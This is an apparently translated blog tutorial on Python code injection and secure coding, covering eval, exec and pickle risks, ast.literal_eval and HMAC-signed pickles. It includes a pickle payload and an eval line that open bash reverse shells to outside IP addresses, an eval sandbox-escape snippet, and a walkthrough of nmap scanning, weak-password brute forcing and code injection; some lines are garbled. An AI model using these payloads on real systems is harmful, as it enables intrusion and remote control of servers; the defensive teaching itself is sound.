Python security coding

What is code injection

Code injection attack refers to any method that allows an attacker to inject source code into a network application for interpretation and execution.

###Common code injection in Python eval() function that can execute a line of arbitrary string code

>>> eval("__import__('os').system('uname -a')")

exec() function capable of executing code blocks in string form

>>> exec("__import__('os').system('uname -a')")

When deserializing a pickled object

>>> pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.")

Execute a Python file

>>> execfile("testf.py")

pickle.loads() code injection An unsafe usage:

def load_session(self, session_id=None):
    if not session_id:
        session_id = self.gen_session_id()
        session = Session(session_id, self)
    else:
        try:
            data = self.backend.get(session_id)
            if data:
                data = pickle.loads(data)
                assert type(data) == dict
            else:
                data = {}
        except:
            data = {}
        session = Session(session_id, self, data)
return session

Injected code:

>>> import os
>>> import pickle
>>> class exp(object):
...     def __reduce__(self):
...         s = "/bin/bash -c \"/bin/bash -i > \/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &\""
...         return (os.system, (s,))
...
>>> e = exp()
>>> e
<__main__.exp object at 0x7f734afa8790>
>>> k = pickle.dumps(e)
'cposix\nsystem\np0\n(S\'/bin/bash -c "/bin/bash -i > \\\\/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &"\'\np1\ntp2\nRp3\n.'
 
>>> pickle.loads(k)
0
>>>
[3]+  Stopped                 python

These functions are dangerous to use improperly

os.system os.popen* os.spawn* os.exec* os.open os.popen* commands.* subprocess.popen popen2.*

Practice of a simulation

Through this practice, many weak security links in the system are found, and the implementation process is as follows:

  1. Nmap scans ipnmap - V - A *. *. * - P 1-65535. After nmap scanning, public services will be found.
  2. Brute force crack login password test 123, weak password login system. The weakness of this place is that it is easy to leave a back door or password in the development process for programmers to test.
  3. After successfully logging in the system, find the code injection point. After successfully finding the injection point, execute code injection and connect to the server through the reverse shell to raise the right Eval ("__ ('os'). System ('/ bin / bash - C \" / bin / bash - I > / dev / TCP / 10.10.10.130/12345 0 < & 1 2 > & 1 & \ "))

In the third step of todo, two vulnerabilities for code injection are found in the whole system. The first one is that the user login information is not verified when the corresponding storage media (memcache and redis) does not turn on login authentication, and it is easy to inject code in the public network. The second is to directly use eval function to execute Python code in some configurations in the system. Introduction to todo reverse shell

How to code securely

  1. Strictly control the input, filter all dangerous modules, and return directly in case of illegal characters.
  2. Use ast.literal_eval() replaces eval()
  3. Safe use of pickle

Here are some points:

eval() method note:

eval(source[, globals[, locals]]) -> value
Evaluate the source in the context of globals and locals. The source may be a string representing a Python expression or a code object as returned by compile(). The globals must be a dictionary and locals can be any mapping, defaulting to the current globals and locals. If only globals is given, locals defaults to it.

ast.literal_eval() method note:

Safely evaluate an expression node or a string containing a Python expression.  The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None.

Use ast.literal_eval() instead of eval(). Comparison:

ast.literal_eval("1+1")  # ValueError: malformed string
ast.literal_eval("[1, 2, 3]")  # [1, 2, 3]
ast.literal_eval("{1: 1, 2: 2, 3: 3}")  # {1: 1, 2: 2, 3: 3}
ast.literal_eval("__import__('os').system('uname -a')")  # ValueError: malformed string
eval("__import__('os').system('uname -a')")  # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {}, {})  # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {"__builtins__": {}}, {})  # NameError: name '__import__' is not defined

eval disable global or local variables:

>>> global_a = "Hello Eval!"
>>> eval("global_a")
>>> eval("global_a", {}, {})

Find the breakthrough point of eval

eval("[c for c in ().__class__.__bases__[0].__subclasses__()]", {'__builtins__':{}})

Reference point:

(
    lambda fc=(
        lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0]
    ):
    fc("function")(
        fc("code")(
            0, 0, 0, 0, "KABOOM", (), (), (), "", "", 0, ""),
        {})()
)()

Safe use of pickle

>>> import hmac
>>> import hashlib
>>> import pickle
>>> shared_key = '123456'
>>> class Exp(object):
...     def __reduce__(self):
...         s = "__import__('os').system('uname -a')"
...         return (os.system, (s,))
...
>>> e = Exp()
>>> s = pickle.dumps(e)
>>> s
'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> k = hmac.new(shared_key, s, hashlib.sha1).hexdigest()
>>> k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> send_s = k + ' ' + s
>>> send_s
'20bc7b14ee6d2f8109c0fc0561df3db40203622d cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> recv_k, recv_s = send_s.split(' ', 1)
>>> recv_k, recv_s
('20bc7b14ee6d2f8109c0fc0561df3db40203622d', 'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.')
>>> new_k = hmac.new(shared_key, recv_s, hashlib.sha1).hexdigest()
>>> new_k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> diff_k = hmac.new(shared_key + "123456", recv_s, hashlib.sha1).hexdigest()
>>> diff_k
'381542893003a30d045c5c729713d2aa428128de'
>>>

How to improve security coding awareness?

reference material

http://www.programcreek.com/python/example/5578/ast.literal_eval https://segmentfault.com/a/1190000002783940 http://www.yunweipai.com/archives/6540.html http://blog.csdn.net/chence19871/article/details/32718219 http://coolshell.cn/articles/8711.html http://stackoverflow.com/questions/15197673/using-pythons-eval-vs-ast-literal-eval https://www.cigital.com/blog/python-pickling/ https://github.com/greysign/pysec/blob/master/safeeval.py

appendix

Partial results of nmap scanning

What is nmap? Nmap (Network Mapper) is a security scanner originally written by Gordon Lyon used to discover hosts and services on a computer network, thus creating a "map" of the network.

-A: Enable OS detection, version detection, script scanning, and traceroute -v: Increase verbosity level (use -vv or more for greater effect) -p : Only scan specified ports

root@bt:~# nmap -v -A *.*.*.* -p 1-65535 
Starting Nmap 6.25 ( http://nmap.org ) at 2016-07-26 13:30 EDT
......
Not shown: 65527 filtered ports
PORT      STATE  SERVICE     VERSION
139/tcp   open   netbios-ssn
1723/tcp  open   pptp        Microsoft
8891/tcp  open   http        nginx 1.4.4
9090/tcp  closed zeus-admin
13228/tcp open   http        Microsoft IIS httpd 7.5
14580/tcp closed unknown
36666/tcp open   unknown
64380/tcp open   unknown
......
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 2.4.X (99%), Microsoft Windows 7 (95%), BlueArc embedded (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/o:microsoft:windows_7:::enterprise cpe:/h:bluearc:titan_2100
Aggressive OS guesses: DD-WRT v24-sp2 (Linux 2.4.37) (99%), Microsoft Windows 7 Enterprise (95%), BlueArc Titan 2100 NAS device (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
......
NSE: Script Post-scanning.
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 895.44 seconds
           Raw packets sent: 262711 (11.560MB) | Rcvd: 55220 (2.209MB)

Links: http://www.cyberciti.biz/networking/nmap-command-examples-tutorials/

Reverse Shell

http://os.51cto.com/art/201312/424378.htm

Added by fatfrank on Tue, 07 Dec 2021 15:27:50 +0200